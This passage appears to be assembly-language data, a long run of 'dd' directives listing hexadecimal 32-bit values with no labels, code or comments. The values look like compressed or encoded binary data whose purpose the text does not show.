dd 8D89A005h, 0B0A84F91h, 81163C58h, 52F6E007h, 0EB19AD93h
dd 0ADD494E0h, 0BD61F2BDh, 751C0506h, 0DF29B4F5h, 0C12126B3h
dd 2BA4F414h, 0B348FEB1h, 96DD4CB9h, 82066F67h, 9D63CC29h
dd 734ED181h, 0CD3971D1h, 0CB853846h, 14672A53h, 0D07AB117h
dd 64F28C83h, 179BBD67h, 924AB932h, 3A9EF57Fh, 0DDFF66DFh
dd 0C9897B3Dh, 0CC87B6B8h, 33C16D55h, 13DE526Ch, 603F359Eh
dd 8E72677h, 66C78916h, 0B55507D5h, 9714D301h, 424DF92Ah
dd 0B3447F01h, 5C886130h, 95AA2708h, 1FFAABC9h, 351BC79Fh
dd 0DCBFC0F5h, 29012ED5h, 0DCD78B44h, 321C6FBBh, 9137A4DCh
dd 6108F04h, 8AAAE9E9h, 6F562A95h, 4181ABD1h, 15163BC2h
dd 4DE3B4D9h, 9F0E81C6h, 0FDB464D2h, 92A66D0Eh, 6E725E3h
dd 0FA4C0A8Fh, 20E8CAB2h, 907684DBh, 0CAD1FC84h, 55D3869Dh
dd 4C9D08DBh, 0D2854534h, 21D358BCh, 13D785E4h, 0CB0C3451h
dd 0A0A8DCB5h, 424D992Ah, 0B955E0B9h, 0F99C593h, 0C65FF6E0h
dd 268E2D21h, 4CFF6906h, 57BE7393h, 0C50AA596h, 6B4BFAEBh
dd 0B697EB6Bh, 0D23EEC9Fh, 0C857419Fh, 29B0D6A0h, 28C7993Eh
dd 0C1477FFDh, 268D7B3Fh, 12297765h, 839CC73h, 0E9EECF0Ah
dd 5476454Dh, 0DA14D80Ch, 3404AE1Dh, 35009A35h, 0EE35F62Fh
dd 0CAEDBF73h, 59360FA8h, 0A8916213h, 15DC78C0h, 617E46F3h
dd 66C7B4E9h, 0FF6CFB5Ch, 0B0A83EB4h, 4EA13A2Ah, 0B145FF01h
dd 9F1AD09h, 95AEC708h, 9CB0ABC9h, 75103005h, 5FE03FF5h
dd 3F93CEC6h, 0A9B188EBh
dd 765C4CA7h, 90DF5B20h, 6A14CC8Fh, 4EA2FF20h, 674EC0E1h
dd 348F3188h, 0E0CB6753h, 0D55072ADh, 7A4CD5h, 87B8C83h
dd 0A872AE54h, 85E4512Dh, 0B5E3A1CEh, 73744803h, 0CDAD379Ch
dd 8E677F52h, 0BA848EF9h, 48E78963h, 0F4434432h, 716DA904h
dd 0EE0DB41Eh, 340445Bh, 7169876Bh, 8A4F51CAh, 0D8D3A8DBh
dd 8653C47Ch, 965A0731h, 0AD7B1B08h, 0F0A7C3FFh, 0DFABC027h
dd 0B42B6191h, 644328EEh, 0B6DCACC6h, 92B7A463h, 0A9A8418Fh
dd 0A0A49529h, 47025A2Eh, 5D5879C1h, 0AFC1B3BFh, 1BA7D42Ah
dd 8379C95Eh, 0AD77C5C1h, 5374987Ch, 46BF590Ah, 0BDE3B9CCh
dd 34EB500Bh, 0C9B3FB5Dh, 1A644566h, 0BE104F14h, 4C1D05D3h
dd 0A08E7C0h, 56E4A87h, 2A4CCE45h, 2A820778h, 7F210EB5h
dd 0CB0981A3h, 2A986A88h, 0DD1E55E4h, 5D307695h, 49B8A996h
dd 5144BBAAh, 73C93FFDh, 2A5BAF9Ah, 1A283515h, 0D0A5DDE2h
dd 1974E6DEh, 0B16448Ch, 2B52E0E9h, 0D28D8AB5h, 6104F26Eh
dd 0BC29B5B7h, 0F1A03F26h, 0B2D170Fh, 6FE2A8DFh, 97EB494Ch
dd 0A5915117h, 8C2C2DC0h, 418B4577h, 40CF6F23h, 0CAD53FF3h
dd 0EB5A8368h, 0C55A26C7h, 15A2E1B8h, 46853897h, 72E3D19Dh
dd 2609A553h, 0A78A06C2h, 86CD192Ah, 0BDD6605Ah, 3E57B0ACh
dd 0CEE4DB20h, 0D9027F0Ah, 0B58768A0h, 0AB7D37F6h, 0C181357Eh
dd 7168FE14h, 0B40F3821h, 327344Ch, 1C845C1Fh, 3C3405B9h
dd 4B4EEC2Ch, 2589F2D1h, 7FE73093h, 0C1A0D6A7h, 4057415Ch
dd 0E1F28C90h, 7FF5009h, 69975128h, 594E3462h, 0F9899B7Fh
dd 89027384h, 5A2EEF37h, 0B0360E28h, 1A4E1000h, 39E9FF97h
dd 8C660B0Ch, 234C6D53h, 666CEC50h, 702D3818h, 42ACBD25h
dd 4596A952h, 8A9A4560h, 95BB844Eh, 306FB742h, 75003029h
dd 6C9DF77Eh, 0CEC636D5h, 36F69F47h, 0A186A8E2h, 3BBAB1Ch
dd 0EB14CC8Fh, 0AAA496DEh, 3D18C509h, 0AD4179DBh, 6C17D0E7h
dd 0F5233F26h, 0F03FC850h, 0A1358B6Bh, 17FF6DFBh, 75A1DA29h
dd 3C3FB0C4h, 0BE0EEE36h, 9C0282B2h, 8A3D90DFh, 0D83FCED4h
dd 0A06895AFh, 0A65878CBh, 56E508C4h, 0EF164406h, 0B305719h
dd 77A1BD65h, 4248216Fh, 45926952h, 4A069298h, 0D61FD41Ch
dd 0C549A2D9h, 0F743CF07h, 1286B831h, 4B59276Ah, 0C0618B51h
dd 0AB0FEB6Fh, 154DA5CCh, 2694F9Fh, 0DBAFE129h, 935D2A95h
dd 1981ABD0h, 0BD1030C2h, 0EEF2BA56h, 371CBEA1h, 10FA8C87h
dd 0F6173E04h, 0DCE45109h, 30CBB0A4h, 50F76377h, 4279546Fh
dd 1B644286h, 0C2245A8Ch, 0C5464133h, 0BD775B2Ch, 5496E0Ah
dd 0C23E043h, 9291C3A3h, 88C3CE91h, 2658F95Eh, 38191CADh
dd 86E8456Ch, 959584C5h, 0D44F71C9h, 0FDEF66AAh, 0AFE5C90h
dd 0E670759Eh, 6E3877E2h, 0DCA3BD1Dh, 5DB2B4DCh, 0FA7EC4FAh
dd 8ABCEAC1h, 0CA89887Dh, 0C104F22Ch, 1FD6B3B7h, 31F3C009h
dd 80A0A907h, 0CC198C84h, 9C132889h, 0CE4DA1Bh, 0FC4C1174h
dd 708BCBC2h, 0A8612D83h, 49EDBADBh, 0B8108059h, 996F749h
dd 6C5C57A4h, 5C6E149Fh, 993A2895h, 2856736Dh, 40E625CAh
dd 4245104Eh, 0B118E952h, 0B4E9880h, 0B22A09E0h, 0D8A5F2C9h
dd 2751B9ACh, 0A14CE3A3h, 0D3296EFCh, 6708771Ch, 0E11A6B6Bh
dd 75E4FDA8h, 0F814DA5Bh, 9CE11E70h, 0E92F4h, 8A8DE295h
dd 2FFF6BF3h, 38C0570Ah, 5F1515Eh, 6498DC89h, 0EAFF78FDh
dd 426D4104h, 3CC3B6BAh, 0CA0AEEEAh, 0C975ED7Ah, 212B33E3h
dd 632B01E3h, 0B1190B13h, 0D28910C0h, 7091E978h, 0F6D39E1Ch
dd 0FF19BBA0h, 39AF5557h, 115D52D2h, 0C7EFC2BAh, 0F90A1C93h
dd 7DC18394h, 0D8A7FA89h, 8B78B3A0h, 0A3EEAAAh, 0E54DAB55h
dd 3FE87714h, 375540B1h, 5DBEA4DCh, 0F1610C0Ah, 0EB4C9443h
dd 0DE4ED16Ah, 4E008951h, 4F6AC748h, 0B5E3B453h, 0A06FBE0Fh
dd 0B7E28C79h, 17E9BED5h, 858E0805h, 44CFE0CAh, 0F65B8B26h
dd 0EE35F0C7h, 0CAEDBAE3h, 17AF0B8Eh, 11681FA0h, 2DB40128h
dd 3120F085h, 0C59F7D16h, 660935CCh, 0B0A0CD79h, 4D89DC2Ah
dd 3818BFD6h, 1AE92D6Ch, 551584E0h, 0D86076C6h, 0ED4430F9h
dd 0BF6DB4E2h, 0C2E13162h, 3FD428FCh, 3DE540E2h, 9B48A4DCh
dd 0F6143CD7h, 90493192h, 7C4B3A6Dh, 0BDC771C3h, 0E631C336h
dd 62D22F59h, 0C07AD0B6h, 408E0F85h, 6C8A6D31h, 75BC6C85h
dd 0C7C7E537h, 0D8A4204Ch, 0CC626D5Fh, 96EA96Ch, 97280839h
dd 3E0D1981h, 75B9FD33h, 0EE7E1A77h, 9E56D804h, 0D541DB5Ch
dd 0A0AB6601h, 0ECC6DD5h, 0BB0829A5h, 0F76D551h, 70E484F0h
dd 0D8B22D21h, 6192D8F9h, 92BDB4F5h, 4011269Ch, 3F5EFB29h
dd 132BA8F2h, 9FB7A4B4h, 4614A68Fh, 82A463A5h, 0F35B2E2Dh
dd 6614F22Dh, 1B63B4B2h, 0F1A03F49h, 0B169AA5Fh, 67E66745h
dd 14F34940h, 858E5972h, 0B9D23ED1h, 34B8C21Eh, 92897D47h
dd 5AEDB641h, 60360048h, 11964E7Ah, 3DC1884Ch, 81BC702h
dd 969E4895h, 309C35Ch, 5B6A5F95h, 43B29A7Dh, 0C398EC26h
dd 5981B06Eh, 9DD70FB3h, 26631A99h, 0B421CF06h, 40B8A81h
dd 9309631Dh, 0C07948FCh, 0A158211Dh, 8FC2A527h, 0E861330Ah
dd 17A4FF7Fh, 131ED938h, 56FB0C78h, 0EEE1E332h, 0A4A3C4DBh
dd 0CB29174Eh, 8CA284CFh, 0E80093A8h, 87919185h, 414E0A0Ah
dd 685BC545h, 5989718Dh, 0CACAC63Eh, 0B0360028h, 1A4E0000h
dd 25F18797h, 0C46DDE04h, 86077FFEh, 76B95652h, 39AA7ED1h
dd 40AEF8DDh, 25114105h, 86D0456Ch, 55167CA5h, 0DD68E3BCh
dd 64A0C66Dh, 5745B4F5h, 0FDD8E6A7h, 9E687716h, 32DEAD7Ah
dd 0E5A3B157h, 3515DC8Eh, 0EB5CD012h, 63535A69h, 3014F3D5h
dd 0EB943D2Fh, 0CF29F859h, 0EB78AF9Eh, 1CB70787h, 0CD76AEB6h
dd 556D9328h, 494E3214h, 0B8027BD7h, 0DC007E23h, 0DAECBF37h
dd 0F1FA73D4h, 0D4BEC825h, 8CA40C45h, 156EF007h, 5FC2CD95h
dd 0F504969Fh, 0B05AC6ACh, 0C746D93Ah, 381B6820h, 0F794DCDh
dd 61D90DF0h, 2839EF40h, 311720F9h, 0D44E3D01h, 4A6F2255h
dd 3FB8F709h, 0D29B09F2h, 2032B4DCh, 3A2DC8FBh, 852D935Fh
dd 0E34E21F9h, 99090259h, 421538B7h, 0E1209E5Bh, 84F7515Fh
dd 0E451703Ah, 9CEF6DCFh, 8514D117h, 0B4377C2Fh, 0B5009B12h
dd 270A7FB6h, 0CE2E3851h, 33230E1Ch, 0B045967Ch, 0DD2C3BFBh
dd 37191287h, 96563C2Dh, 647EFB5Ch, 0B05AD230h, 4D8FC03Ah
dd 0D898F9C5h, 0FFCDCC6Dh, 13C970Bh, 0E1A3F239h, 0A40F3F3Fh
dd 0D7B45476h, 86D82456h, 0CF6DFCE4h, 17649809h, 0F137547Ch
dd 7FB5D9F8h, 0A3B495D9h, 3FD9DEBBh, 2051253h, 9E1C3C77h
dd 0D0B3D4A8h, 907AB1FBh, 73FD4AB3h, 161FEEEEh, 0CE29180h
dd 0FC4C0544h, 0C5B038FEh, 79286D27h, 41FDBBB3h, 0C38F0B99h
dd 9940B2Ch, 58748AA8h, 0E9338DACh, 0C72E589Fh, 660903ECh
dd 0EC2F3218h, 0E35999DAh, 281A19E2h, 0FF24C055h, 80E094E0h
dd 0D8454268h, 843893E9h, 5D56A4F5h, 48A9631Dh, 7A818F54h
dd 0CBDA230Eh, 6A4BE755h, 0BA9D24DAh, 88F11ED1h, 60B28BF5h
dd 0CA8D1E95h, 6A65B14Fh, 8B293DB8h, 32F38376h, 0C5C1058Fh
dd 7FF9D8Eh, 0D9614D85h, 52D7F5F3h, 9905640Ch, 68997DDFh
dd 0DAED4BDFh, 6F56B27Eh, 4C0D1A1Ch, 0D5370DB5h, 0BD887A80h
dd 66C60117h, 0B58A9CB7h, 95A9B56Dh, 3DB646D5h, 7D935953h
dd 27BCC90h, 159F84E0h, 5816F140h, 0F9803009h, 0D40604F1h
dd 48612666h, 3C18F701h
dd 0AADC23F2h, 0F7BC589Eh, 0F1143C0Fh, 6B58D0A2h, 674ED17Ch
dd 348FF059h, 3B80B344h, 38B03FA8h, 29B8099h, 0E4FF46A2h
dd 9E7F6D39h, 0C669554Fh, 0A02FA501h, 6CFF64F5h, 0C9897CAFh
dd 91B3E463h, 0F08E6254h, 4C1DA521h, 92390940h, 56E0887h
dd 0E5239443h, 205927B0h, 3B713FC6h, 82C9516Fh, 3AF2A851h
dd 8C89B5E1h, 90EB801Eh, 0D8B9F677h, 4F7301F9h, 545D2CC0h
dd 0F8535186h, 3C38E721h, 820DDFF2h, 0F2B75450h, 791B0AB6h
dd 614416F9h, 8BE94F5h, 899053C3h, 4DAC28B8h, 1270A857h
dd 0F940B8h, 94B70589h, 0FC0F28B2h, 25D16A3Eh, 0CED7F5F7h
dd 0C59C3A17h, 0FB06D1Fh, 493D2C1Ch, 0F3508EDDh, 0BC589C68h
dd 8915192Bh, 3C7E0A77h, 0B65116D0h, 0F50BEBDFh, 0F5231851h
dd 0B20FF2DAh, 99EE6CDBh, 1F8AB5C0h, 0E86DC1D9h, 28175389h
dd 310120F9h, 0DFA35F01h, 931CD2D3h, 0C8FDFE15h, 7FDAAC69h
dd 6A27A42Ch, 9BD4494Ch, 92243409h, 1FCDC17Ch, 14C7CB2Ch
dd 67CEB3BBh, 7A5C62D1h, 0F38D7863h, 18A90783h, 62033003h
dd 0F61368FDh, 4DBA760Fh, 0CC0E776h, 9FAB0EF0h, 3511C4EBh
dd 0F356D6E2h, 4E209123h, 9D150B40h, 8C7E0C77h, 7A4DE153h
dd 76FA4FD9h, 5B916581h, 0B6379A23h, 0C71E9752h, 0F7033121h
dd 0D01374C9h, 0DC457125h, 75FDB2F6h, 0CC3CB4F5h, 0FA912666h
dd 0AFF9B51h, 2C6F3843h, 0FF29DCCh, 60B5DFF8h, 55B495D9h
dd 4C413D39h, 68E47100h, 80717D31h, 21349E4Ch, 5435158h
dd 0B4658364h, 94FE8DBBh, 0C06D53C8h, 5D827EEFh, 95A1AF91h
dd 0F0997DFFh, 0DC9A5776h, 332313DCh, 0A0582DFCh, 0AE6483CFh
dd 0C5ED0F67h, 82839812h, 0D2AB0FB7h, 89BAFE61h, 0D545D56Fh
dd 39FD2A82h, 868385EFh, 0D01060A5h, 30FA7B2Dh, 4D747572h
dd 0D08A5CB0h, 0C3B12676h, 0B594349Fh, 71E448A7h, 6F00D13Ch
dd 0E9D338CAh, 6E54C9ACh, 0D74ED16Ch, 0A54179D0h, 8B393D81h
dd 7ED52F58h, 58547B3h, 0F4F27C24h, 170FC19Ah, 0D8D219h
dd 0A9C70551h, 0B605EE76h, 2FF57B0Fh, 896684C8h, 0EF961AA5h
dd 0C7C13927h, 6F3DC505h, 0E53A5B7Bh, 0EF1AA89Dh, 33815B1Eh
dd 35B1F565h, 52442976h, 7D8A6427h, 0D3E84E98h, 0D6F19069h
dd 53F1F239h, 70B7D8BCh, 54FDE870h, 20E4AF86h, 1F3DB791h
dd 0A1FFF56Bh, 0A93C7881h, 5F084567h, 58A46575h, 2AA694F7h
dd 0D9F45ED5h, 0C08646A8h, 0BD03D71Eh, 2B6A41AAh, 0B8B70785h
dd 9E072DB8h, 0C06FB13Fh, 45847D33h, 0BCDCC939h, 9C028725h
dd 36B73F33h, 0BA33D536h, 996972Fh, 0EC76AF2Ch, 0DCE6D065h
dd 274F383Fh, 9F092258h, 0B0ADDE19h, 0CBA8BCA1h, 3AE3E890h
dd 0DE959CE5h, 371C569h, 539619CAh, 31B1CCBAh, 0B0288F11h
dd 0B95A11E3h, 0BF2CB0E0h, 385F58BEh, 0ED37A4DCh, 0E2E08904h
dd 4A54392Ch, 0E401A46Ch, 6D010DD6h, 0FA853848h, 61A0CFF7h
dd 0DCFF7DD9h, 0E4E28C7Ch, 0EF7C6847h, 6E022D7Ch, 41847FC0h
dd 0BEE0D927h, 8C029F32h, 36AF3F27h, 0B837C516h, 0E948F69h
dd 0D9F1ACB8h, 59EAC8BCh, 13D6E5E6h, 824F3851h, 394DFB1Ah
dd 0B2181C3Eh, 0C689F952h, 0EF7D3DE5h, 0A3AC0DE2h, 0DCA77F0Bh
dd 0FDCC7570h, 54B73507h, 75412696h, 0B3F4C740h, 0D1DA23F2h
dd 0B2B3645Fh, 349D97D1h, 0AB2D5674h, 61AB5829h, 2DAC9A2Fh
dd 13FD28B8h, 35B03F2Fh, 407A74A5h, 0ED968C8Dh, 17FF6D17h
dd 8908D264h, 3090A2A0h, 70C774CFh, 0C9897F8Bh, 3C7917F3h
dd 76EA80FDh, 262D1DE4h, 28D6C8C0h, 0C236D687h, 66C61D53h
dd 3381BB5Ch, 0C145EE99h, 1BBB46D6h, 0BBE4ECDBh, 0E740B921h
dd 8A7784E2h, 0D88DFB22h, 74358B11h, 0D7A6EDF5h, 89F1C2EBh
dd 33ADFC19h, 2A0540B2h, 676EA4DCh, 0A49728CAh, 5DD195CDh
dd 74FAA94h, 0BD0435D0h, 0B09538B8h, 0EFFFDB1Eh, 0F037CA00h
dd 0E4FF05E9h, 9EFF6D2Dh, 15270C89h, 9D9B7FA6h, 0A4FB1DAEh
dd 0C6897F57h, 0CAED7767h, 0B099EFDDh, 40613E57h, 52EDDAC3h
dd 984B279Fh, 76C61E62h, 0A0B38DFh, 0F3560DE8h, 66BA2D55h
dd 38E4B1CFh, 6344467Ch, 71F3EC9Ch, 27EE8DBBh, 9014ADDDh
dd 0AFECA4F5h, 0FCE12616h, 0C0492368h, 291FA866h, 0CA48E8A3h
dd 0C6F0C812h, 0F45F1439h, 774ED17Ch, 1EFF73AAh, 7F9538B8h
dd 10B2403Eh, 0C07ADFA0h, 0E5A9F88Dh, 17FFCCD6h, 6ED72566h
dd 0E3C75D6h, 49009CA2h, 1E72FE46h, 0B5EDB693h, 0AEF76E3Ah
dd 5C1D8A50h, 2AACD941h, 271BDA87h, 0DF2EF9FDh, 0B10ACB5Ch
dd 0B0AD8891h, 42E5902Ah, 91E82952h, 0C8BE456Ch, 8A7186E0h
dd 0D87B1BC9h, 0EDC030F9h, 9355B4F5h, 0FD112A96h, 3B289E14h
dd 0A0B7A8E2h, 2837A4DCh, 0C714C18Fh, 0BAD77E29h, 7F4ED100h
dd 0A10FF217h, 7D7E38B8h, 0F1A050B3h, 917A865Bh, 0FF28C8Dh
dd 179D8575h, 85235167h, 0B9C7F4F0h, 60E8D075h, 0E897F47h
dd 0CAEDBC83h, 0DBEC7A1Dh, 4C1D6964h, 2DBC2387h, 3784DC87h
dd 66C6CEFEh, 6E0A145Ch, 5BAC6E91h, 426BF10Fh, 38C4E952h
dd 0FBEC570h, 0AB9A9C0Bh, 1FEDF2C9h, 742410F9h, 0BC565FF5h
dd 0FD012682h, 3B9A77D3h, 0E9C4A8E2h, 0EFB71B51h, 7B99CC8Fh
dd 5CA49529h, 7B422A94h, 0A1C471D0h, 0CC29B57Bh, 0D1A03F5Ah
dd 7048020Dh, 54C2CFEAh, 941AE479h, 0D3B7598Ch, 323BA1ACh
dd 708B90C7h, 0CDC98847h, 0CAEDB6B5h, 765AEA08h, 5C58E314h
dd 0A0486949h, 46E626C2h, 6AB57AEAh, 0F502A0D7h, 0C1D8816Fh
dd 0C13335A7h, 3807262Eh, 5AEF0018h, 7563EF6Dh, 85EB7D9Dh
dd 787DBBA7h, 67317470h, 86BA1AEEh, 4680241Ch, 0A9DFA8E2h
dd 9BBAA018h, 2D479A9Fh, 5EA495E9h, 0FA4615FFh, 906E84DCh
dd 0F31A7C33h, 31A167B2h, 8F7ECA5Bh, 1BFECF3Bh, 9CF7E27Bh
dd 8969591Ah, 36F37F8Bh, 35B83D7Dh, 22897F37h, 0A160E3B6h
dd 602CFB4Dh, 4C1DEF44h, 2570AE40h, 56E78DAh, 399B8D16h
dd 9A83B802h, 0F218DCCh, 4245D92Ah, 1C4FE207h, 84904E64h
dd 12C98A1h, 30A1EA88h, 741C30A5h, 9457076h, 6D212254h
dd 3B6F0B99h, 79FA21B7h, 9AE2F38Ah, 0AA14A68Fh, 48A4E001h
dd 9B46A483h, 9904BD28h, 90CB67E5h, 0D2FDD3D3h, 0C45E0DD0h
dd 62F6CD45h, 0AFFF6D2Fh, 85E45163h, 0FD4CFB8Bh, 618B94B6h
dd 0CB006F1Bh, 0CAEDB4EBh, 8F5E55BDh, 4C1D6B4Bh, 0A08A3C0h
dd 56FC287h, 0ED91DF45h, 261ACF18h, 80C4A0FBh, 2655F95Fh
dd 38031CADh, 86DC456Ch, 8A7D84C5h, 0FCB779C9h, 7C40BBD9h
dd 0D6B9C47Eh, 0D325D968h, 1F0C032Fh, 1ED28096h, 423B2FAAh
dd 0CB308006h, 0D9A8DDA0h, 6F4A6200h, 806CE0A5h, 509538B9h
dd 99A88C1Eh, 807A410Eh, 0EC41D84Dh, 989BAEC5h, 85E45166h
dd 0B50377C1h, 0F65BC2D1h, 0EE35F2B7h, 0CAEDB743h, 0B8B756ACh
dd 4C1D6B21h, 29CDAE40h, 156FB1B7h, 374D9563h, 7A587850h
dd 0C5A47FA8h, 4244212Fh, 0B5C1E952h, 0FB8C5D3h, 0ADC209E0h
dd 0D8F5F2C9h, 0C0AF61AAh, 0BEADB405h, 4610759Ch, 2B0887A0h
dd 0A297E569h, 0B23EAC97h, 0CC7F458Bh, 2066CE70h, 0FBDE417Ch
dd 19946240h, 3B05A828h, 0C130AFCAh, 40124131h, 0EF28CA3h
dd 3EA922Eh, 26F45191h, 0A9C6F15Fh, 0A00F5C0Fh, 0C869FCFFh
dd 0CA923AB0h, 32D60A5Ch, 59E23AFCh, 3DB4D5D8h, 0F3C340h
dd 66C69117h, 0FFC9FB5Ch, 9710B36Eh, 4245B92Ah, 3C26EDD9h
dd 0AEBB2F3Ch, 9A7E817Ch, 0C4E20D99h, 0B7003004h, 55A50B78h
dd 42FC2696h, 38E87714h
dd 0A03A21B7h, 7967A899h, 0AB44C4CAh, 23383429h, 981EC17Dh
dd 71F9D2C5h, 2B5665A9h, 0B18743D7h, 45E05DFh, 45F2E6E3h
dd 7FE68B5h, 0A1F1AE3Dh, 7AD7F438h, 3500230Bh, 76047F17h
dd 0CAEDB763h, 7758C08Eh, 264D6688h, 28288840h, 0FA3FD886h
dd 663BB503h, 4BC88A4Ch, 4F53F16Eh, 0B4775D5Fh, 0E68B6BB9h
dd 54E535E5h, 0ADC40923h, 0D8F9F2C9h, 70287472h, 0F4ADDEA5h
dd 0ED60230Ah, 14DD8844h, 0AE0FA81Fh, 2222AB1Ch, 0D152C0Ch
dd 2083E9A4h, 63BE15DDh, 6CFBA2C0h, 9B95C4C9h, 9150F7FBh
dd 0D5851144h, 74F270C3h, 170FA188h, 901B017Eh, 0A9C708B7h
dd 35F04C23h, 0DC762F0Fh, 0DAED4B63h, 0A34307FEh, 0DC8DF5FCh
dd 0BD24BA50h, 95FF5A17h, 66C22245h, 72800B5Ch, 0B05CDA0Ch
dd 3686FC3Ah, 2DFD7947h, 1FBAB85Ch, 4EE4806Bh, 88EBF239h
dd 8BE26B11h, 0D6D6ED0Ah, 27ED2F6Dh, 3858B3B5h, 3EA0F8F2h
dd 0E33759ECh, 0CFE4042Eh, 375BC539h, 4F4E2C4Ch, 61F43E71h
dd 8E6A68A9h, 0E1A0C26Ah, 808A91F5h, 0F10DDCA3h, 7FF9018h
dd 7A6D9234h, 3A227D9Ch, 0BE539812h, 0F50A775Ah, 0CA1D739Eh
dd 62A6970Dh, 9F57D46h, 744BD4BAh, 8093890Eh, 0CCEE0D6h
dd 7C3DFB5Dh, 0DAF5EE91h, 0BD88F129h, 0BB5C16ADh, 0FF7E5850h
dd 0FF7A94E0h, 24B879DFh, 411CFA9h, 0DE8DB409h, 0F908DAD3h
dd 3878B389h, 5F9543F2h, 1BE75899h, 33EB254Bh, 0C4A7FF70h
dd 5B4ED160h, 0F4007989h, 7B95C87Dh, 0A5B5C00Ah, 1B6A41A8h
dd 0A7AF6039h, 3043E0B8h, 85E45168h, 0BDE3B040h, 0F1859871h
dd 99997FFFh, 3695A2CCh, 0BE10877Dh, 4C1D6453h, 0A08B9C0h
dd 56FCE87h, 0E7231843h, 760B9FB0h, 0E7FAAD91h, 855664A1h
dd 38051117h, 4A72456Ch, 8A7B845Ch, 0D0BA79C9h, 0FFC87570h
dd 100CB8B0h, 0DF4E15Ah, 38687714h, 629A6F84h, 0B1BAA4DCh
dd 327C9C37h, 7DDB6AD6h, 7F894F1h, 51158538h, 6B51BBB9h
dd 0F125F9D3h, 3BFA4A2Bh, 346783B0h, 9EFE8DA8h, 0F86737AFh
dd 0B1B2D17Bh, 0BCFFDA7Bh, 0CA62CEB2h, 415DC4AAh, 0F45A2B18h
dd 5263BC29h, 68389617h, 5090C04Bh, 6A01EEDEh, 0F3C7E6D5h
dd 33A7BB51h, 98A926E2h, 39096953h, 0FCAC3511h, 3C290786h
dd 0BE2E86ECh, 770A4D7Ah, 10863E80h, 0FF1ECF66h, 738F7714h
dd 0D01FA80Ah, 18F263DCh, 3A14CC8Fh, 844D0EDh, 544ED17Ch
dd 0D9042E92h, 0E5238B9h, 11A03F85h, 143F8656h, 64F28CB4h
dd 0EFBAAA45h, 9C0F515Ah, 418243A0h, 35E60188h, 0E078F86Fh
dd 47E9B902h, 23D37E19h, 0B458F60Ah, 2E05C983h, 0E3F3FAD7h
dd 0CF2D7916h, 0F50BAB59h, 7626D655h, 923539AFh, 4D2312D2h
dd 1BE9CE4Fh, 3514463h, 98A8E68Ch, 83FDB905h, 58087470h
dd 925631Dh, 0C26DFECCh, 28122B84h, 0CBDCE7D8h, 3BE08948h
dd 0E1A4952Ah, 7B335060h, 0BEFB0D28h, 1E1E2AC4h, 0F1A4B2A9h
dd 36758157h, 0E6B601A7h, 0E3BAE4F2h, 86525E18h, 4153E13Ah
dd 0C2668D2Eh, 0C9883363h, 0F16D61B6h, 0B0D5ECB3h, 0A7E29361h
dd 0F53A8410h, 7045AC07h, 7280EE04h, 0FF0F73DFh, 0F024BAD4h
dd 0AE0510D6h, 0FF3E0211h, 0FAC2929h, 96BD84E0h, 27C98F48h
dd 0ACBCF06h, 0B9383FE7h, 0FF41221Bh, 25BE78D4h, 19DEC6Fh
dd 0BE5BE155h, 0B3177A80h, 145C013Fh, 8FB9B76Ch, 0BC04F395h
dd 2823376Ah, 0B71C570Dh, 99925156h, 0E7F28CB1h, 0D77A65E6h
dd 5D6D5930h, 8171FBF0h, 0CA319FC1h, 8C0189E6h, 0BF858E09h
dd 5BE818F1h, 9DB7999h, 0C6F0A23Ah, 0FF1216B7h, 0E6C9147Ah
dd 717ED767h, 0C155FB57h, 0C25E5269h, 4D08532Fh, 4694C574h
dd 0F1D79795h, 0D552C4C8h, 43B24B79h, 10A3B380h, 3D72576Ch
dd 4B6DFA17h, 8120571Dh, 0F1747C55h, 0B444CC39h, 9BF4816Fh
dd 6F1E1139h, 0B104E08Fh, 0BE85FC3Ah, 3CBB4A9Dh, 0FF853DD2h
dd 0A17FDC4Ah, 96173D9Dh, 6E4515Ch, 7942FC71h, 0C8C61029h
dd 10A8EA8h, 91B3ED1Ch, 0F08E7454h, 4C1DC121h, 923EC140h
dd 56F9887h, 962D4095h, 20BD35Ch, 40472F97h, 2882492Ah
dd 52080352h, 65AFAF6Fh, 8A50ECE3h, 134132C9h, 88BC301Fh
dd 559080E0h, 416CE586h, 37C87714h, 21F39561h, 8AB7B4DCh
dd 0D6F86D89h, 7A67852Ah, 0E94EBB7Ch, 0D30498D4h, 0B9550BAh
dd 55C8FF5Dh, 3F6A41B1h, 640FB8A0h, 0A872AE4Dh, 85E45146h
dd 4FF6A2E4h, 9834613h, 0C97B55C2h, 0D698B283h, 0FA3BD557h
dd 15E2869Ah, 0DB360449h, 31E6A8F3h, 66375D8Bh, 70CCAD4Ch
dd 94449E11h, 66DC7DA1h, 5E1829A0h, 7AAE7DEFh, 17650FEEh
dd 0C82B00EDh, 8AEF79Fh, 165C5F0Ah, 0FE11DD17h, 81DA7714h
dd 8A01586Bh, 0D84B291Fh, 0A8418Fh, 12A4952Ah, 7CAB5829h
dd 0F757FA3Bh, 0BC8B3EEh, 0F6D5E4D8h, 0A4938166h, 82F28CB4h
dd 32996ED7h, 0C8251C7h, 664E0AFCh, 35E649A0h, 0C99AC857h
dd 6F1EB283h, 0BA9BDA90h, 0F90716Fh, 3DF04A08h, 8C27DF0Ah
dd 25486155h, 5A485A14h, 39E62D1Ch, 1CC0169h, 848601Ah
dd 86E686E1h, 0C9DF98A3h, 0F86E7BE1h, 0F7A87572h, 5C28C6CDh
dd 0FEF96351h, 0DC887714h, 0DEDA23C5h, 8AC09C5Ch, 0DC510B86h
dd 1CA49530h, 0BEC5C297h, 0C83C72DBh, 6845ADB6h, 52E83EBCh
dd 5F357B7h, 9CB70742h, 0E9BADA53h, 0E31C144Bh, 4EA1F732h
dd 40009E19h, 0C861227Dh, 93124D59h, 0B73A594Ch, 0C71D78ECh
dd 1533C085h, 6362EBE5h, 66E572E1h, 0F56DF229h, 0BF455E9Ah
dd 0C1428E25h, 0C088AAB2h, 69B1316Fh, 1508F63h, 516FFE8Ch
dd 4F203CBCh, 0DE95C097h, 0C7B12AD3h, 0B4A0033Fh, 0A6DFA09Fh
dd 0CC722FF4h, 26A3C3DFh, 16E11E7Ah, 0ED44392Ch, 5587F2D7h
dd 0FFD6B1B5h, 31A444DFh, 0E829632Ah, 1B0D6522h, 0FC3F5C06h
dd 9199D25Fh, 0EACC89BDh, 0CAE91AFEh, 9B828C8h, 8F66BF48h
dd 37901049h, 0B3F56F44h, 726B44BFh, 0E9E6DBD9h, 0DA48CE4Bh
dd 760BE37Bh, 9712C391h, 4241D92Ah, 38F3F9F3h, 83ACFC7Ch
dd 0FD4C8418h, 0C22F1ACEh, 6E7730F9h, 55B52454h, 0FE71AB86h
